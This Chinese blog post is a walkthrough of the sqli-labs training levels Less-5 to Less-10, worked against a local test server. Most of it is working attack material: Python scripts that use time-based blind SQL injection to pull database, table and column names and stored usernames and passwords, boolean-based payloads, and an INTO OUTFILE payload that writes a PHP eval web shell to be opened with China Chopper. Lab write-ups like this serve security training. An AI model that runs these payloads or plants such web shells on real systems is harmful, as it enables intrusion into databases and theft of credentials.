sqli-lab5和10关详解

本文详细解析了从LESS-5到LESS-10的SQL注入挑战,包括盲注、双引号注入、文件导入、布尔条件、时间利用等技术。通过实例展示了如何利用不同方法获取数据库信息、表名、列名以及敏感数据,涉及数据库版本、权限管理和漏洞利用策略。
摘要由CSDN通过智能技术生成

LESS-5 不用注释的查询

注:这节的跟第一关是一样的,输入?id=1,但是返回结果只有:you are in … 正确的思路是盲注。
查看源代码不会返回数据库当中的信息了,所以我们不能利用less1-4 的方法

$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//此处省略部分代码
if($row)
    {
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';

输入?id=1’and left(version(),1)=5–+,这里的–+是 - +,因为CSDN显示问题。
上面sql语句的意思是查看一下数据库的版本,看版本号的第一位是不是 5,明显的返回的结果是正确的。我的数据库版本号为 5.6.26
在这里插入图片描述
当版本号不正确的时候,则不能正确显示 you are in…
接下来看一下数据库的长度
?id=1’and length(database())=X–+
X的值为8时,返回正确结果,说明长度为 8。
猜测数据库第一位
?id=1’and left(database(),1)>‘m’–+
根据折半查找,我们知道数据库的首字母为s,这里的工作量太大,我写了一个python脚本完成,用的时间盲注原理

import requests
import time

url="http://127.0.0.1/sqli/Less-5/?id=1"
database = 'select schema_name from information_schema.schemata'
result=""

for i in range(1,100):
    for j in range(1,200):
        payload="'and if(ascii(substr(({} limit 4,1),{},1))={},sleep(2),1)--+".format(database,i,j)
        stime = time.time()
        r = requests.get(url+payload)
        etime=time.time()
        if etime-stime >= 2:
            result += chr(j)
            print(result)
            break

成果获取数据库的名字security,也可以获取其他数据库名字,具体改limit的值。
可获取的数据库是information_schema,challenges,mysql,performance_schema,security,sys
在这里插入图片描述
根据一开始获得的数据库首字母为s,那么当前数据库为security,那么表的名字也可以获取

import requests
import time

url="http://127.0.0.1/sqli/Less-5/?id=1"
table='select table_name from information_schema.tables where table_schema=database() '
result=""

for i in range(1,100):
    for j in range(1,200):
        payload="'and if(ascii(substr(({} limit 3,1),{},1))={},sleep(2),1)--+".format(table,i,j)
        stime = time.time()
        r = requests.get(url+payload)
        etime=time.time()
        if etime-stime >= 2:
            result += chr(j)
            print(result)
            break

可以获得到email,refers,uagent,users四个表,也可以用下面的句子慢慢测试,当然还是代码快
?id=1 'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0
0,1),1,1))>101–+

列自然也是相同的方法

import requests
import time

url="http://127.0.0.1/sqli/Less-5/?id=1"
column='select column_name from information_schema.columns where table_name="users"'
result=""

for i in range(1,100):
    for j in range(1,200):
        payload="'and if(ascii(substr(({} limit 3,1),{},1))={},sleep(2),1)--+".format(column,i,j)
        stime = time.time()
        r = requests.get(url+payload)
        etime=time.time()
        if etime-stime >= 2:
            result += chr(j)
            print(result)
            break

可以查到的列为USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查id为1的数据

import requests
import time

url="http://127.0.0.1/sqli/Less-5/?id=1"
data="select username from security.users where id=1 "
data2="select password from security.users where id=1 "
result=""
result2=""

for i in range(1,100):
    for j in range(1,200):
        payload="'and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+".format(data,i,j)
        payload2 = "'and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+".format(data2, i, j)
        stime = time.time()
        r = requests.get(url+payload)
        etime=time.time()
        if etime-stime >= 2:
            result += chr(j)
            result2 += chr(j)
            print(result)
            print(result2)
            break

通过改id我们可以查到所有数据
完成

LESS-6 双注入- 双引号-字符型

Less6 与 less5 的区别在于 less6 在 id 参数传到服务器时,对 id 参数进行了处理。这里可以从
源代码中可以看到。只需要将 ‘ 替换成 “ 。

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

还是利用上面的代码,稍微在sql注入语句改个符号

import requests
import time

url="http://127.0.0.1/sqli/Less-6/?id=1"
database = 'select schema_name from information_schema.schemata'
result=""

for i in range(1,100):
    for j in range(1,200):
        payload='"and if(ascii(substr(({} limit 4,1),{},1))={},sleep(2),1)--+'.format(database,i,j)
        stime = time.time()
        r = requests.get(url+payload)
        etime=time.time()
        if etime-stime >= 2:
            result += chr(j)
            print(result)
            break

具体步骤和less5差不多

LESS-7 文件导入的方式进行注入

MySQL注入load_file常用路径可以参考博客:www.cnblogs.com/lcamry/p/5729087.html

调查源代码

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

看到这个,在前面的1到6关的训练下,已经老生常谈了?id=1’)) or 1=1–+(注:这里是- - +)
在这里插入图片描述
可以看到显示这样的界面,这个时候要使用into outfile(),在此之前,需要检查权限
SHOW GLOBAL VARIABLES LIKE ‘%secure%’
在这里插入图片描述
secure_file_priv要为空白才可以,为null是不允许上传下载。修改方法为在my.ini中的[mysqld]改或写secure_file_priv= 。然后重启mysql服务。

?id=-1’))union select 1,2,3 into outfile “c:\文件目录/Less-7/a.txt”–+
实验一下能不能写入一个txt文件,我这里是可以的。

没问题的话进行下一步,导入一句话木马
?id=1’))union select 1,2,’<?php @eval($_POST[“password”])?>’ into outfile “c:\文件目录/Less-7/password.php”–+

注意这里的post需要大写,如果没大写,菜刀可能报403的错

之后使用中国菜刀连接,输入网址和密码(password),就可以进去了

LESS-8 基于布尔-单引号-盲注

根据测试’and 1=1–+没有报错,可以知道怎么继续了,感觉和第五关差不多,具体区别在代码,可以看到在判断错误进行注释,用不了报错注入

if($row)
	{
  	......
  	}
	else 
	{
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	

这里可以参考第5关的代码,一模一样的套用没有一点问题。

LESS-9 基于 时间-单引号- 盲注

经过测试我们可以发现,无论加入任何语句,它的返回都是一样的:You are in…
查看源代码

$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

这里可以套用我第五关的脚本,因为在第五关就是用时间盲注。

LESS-10 基于 时间-双引号- 盲注

套用第六关的脚本,或者将第五关的单引号改为双引号,基本上无差别

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值